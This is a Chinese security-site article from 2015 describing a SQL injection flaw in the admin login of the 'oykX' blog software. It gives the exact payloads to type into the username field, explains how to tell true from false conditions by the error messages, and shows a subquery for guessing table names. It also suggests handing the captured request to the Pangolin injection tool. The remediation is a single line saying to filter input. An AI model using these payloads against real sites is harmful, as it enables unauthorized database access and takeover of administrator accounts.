oykX博客后台post注射0day及修复 - 网站安全

oykX博客后台post注射0day及修复 - 网站安全 - 自学

来源：自学PHP网时间：2015-04-17 13:03 作者：阅读:次

[导读] 进入http://www.2cto.com /admin/index.aspx在帐号输入框处填123#39; or 1=1 and #39;1#39;=#39;1密码为空（也可以乱填），点击Login 提示密码错误把帐号输入框语句换成123#39; or 1=2 and #3......

进入http://www.2cto.com /admin/index.aspx
在帐号输入框处填123' or 1=1 and '1'='1
密码为空（也可以乱填），点击Login　　提示密码错误
把帐号输入框语句换成123' or 1=2 and '1'='1提示用户不存在，注射漏洞由此产生了
后面猜表名：123' or (select count(*)from 表名)>0
也可以抓包注射丢进穿山甲
http://expsec.com版权所有！转载请注明出处

www.2cto.com提供修复方案：

过滤输入框输入

科技发展型企业网站源码无限制上传漏洞及修复

MySQL盲注 - 网站安全 - 自学php

子栏目

oykX博客后台post注射0day及修复 - 网站安全 - 自学

最新评论

添加评论

更多文章推荐

添加评论